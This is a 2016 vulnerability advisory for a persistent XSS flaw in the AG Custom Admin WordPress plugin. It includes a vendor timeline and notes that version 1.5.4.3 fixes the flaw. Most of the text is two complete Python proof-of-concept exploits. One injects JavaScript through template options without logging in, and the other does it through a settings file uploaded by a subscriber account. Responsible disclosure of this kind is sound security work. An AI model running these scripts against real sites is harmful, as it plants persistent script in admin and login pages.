AG Custom Admin [Persistent XSS]

AG Custom Admin plugin for WordPress suffers from a Persistent XSS vulnerability

Description

AG Custom Admin plugin for WordPress suffers from a Persistent XSS vulnerability. Plugin lucks security checks for a series of actions relative to exporting, importing and saving plugin options. A malicious user can exploit these actions to inject arbitrary JS code, CSS styling or images to WordPress admin panel and login screen.

In this report for demonstration purposes we exploit the actions _agca_get_templates, _agca_save_template and _agca_import_settings, but there are some more that can be used by a real attacker.

PoC

Use Template Options

This attack does not require a valid account to perform. The caveat is that it will change the selected template for the admin panel and login screen, which most likely alert the website owner.

#!/usr/bin/python3

################################################################################
# AG Custom Admin Persistent XSS Exploit
#
# Author: Panagiotis Vagenas <pan.vagenas>
#
################################################################################

import requests

baseUrl = 'http://wp1.dev'
adminJs = "alert('admin js')"
loginJs = "alert('login js')"

tOptions = " |||" + adminJs + "||| |||" + loginJs + "||| ||| |||"

# We first try to get all template names that are installed in site
r = requests.post(baseUrl, data={'_agca_get_templates': 1})
templates = r.json()

if len(templates):
    # If we have installed templates use templates names to inject the code
    for tName in templates:
        r = requests.post(baseUrl, data={
            '_agca_save_template': 1,
            'templates_data': tOptions,
            'templates_name': tName
        })
else:
    # In case we found no installed templates then
    # we create a new template to inject the code.
    r = requests.post(baseUrl, data={
        '_agca_save_template': 1,
        'templates_data': tOptions,
        'templates_name': 'default'
    })

print('Exploitation complete')

exit(0)

Use Plugin Options

In this PoC we use a registered user (privileges are not relevant) to update plugin option agca_custom_js and inject our JS code in this field. Then in every admin page load this code is executed.

#!/usr/bin/python3

################################################################################
# AG Custom Admin Persistent XSS Exploit
#
# Author: Panagiotis Vagenas <pan.vagenas>
#
################################################################################

import requests
import tempfile

baseUrl = 'http://example.com'
loginUrl = baseUrl + '/wp-login.php'
adminUrl = baseUrl + '/wp-admin/index.php'

# Needs a valid account to exploit this vulnerability
# Account privileges are not relevant
loginPostData = {
    'log': 'subscriber',
    'pwd': 'password',
    'rememberme': 'forever',
    'wp-submit': 'Log+In'
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)

if r.status_code != 200:
    print('Login error')
    exit(1)

data = {
    '_agca_import_settings': 'true'
}

file = tempfile.NamedTemporaryFile(prefix="AGCA_Settings_", mode='a+t', suffix='.jpeg')

file.write("agca_custom_js:alert('XSS')")  # Use only single quotes here

file.seek(0)

files = {'settings_import_file': file}

r = s.post(adminUrl, data=data, files=files)

if r.status_code == 200:
    print('Success')

file.close()

exit(0)

Update 2016-03-14

Vendor released version v1.5.4.2 but this issue is not resolved. The difference is that to exploit this vulnerability the attacker must perform an CSRF attack as described here.

Solution

Since the release of v1.5.4.3 this issue is resolved


WordPress Plugins Persistent XSS
INFO
TIMELINE
  • 2016-03-12:
    Vendor notified through wordpress.org support forums
  • 2016-03-12:
    Vendor notified through contact form in his website
  • 2016-03-12:
    Vendor responded and asked for clarification
  • 2016-03-13:
    Send vulnerability details to vendor
  • 2016-03-14:
    Vendor released version 1.5.4.2
  • 2016-03-15:
    Vendor released v1.5.4.3 which resolves this issue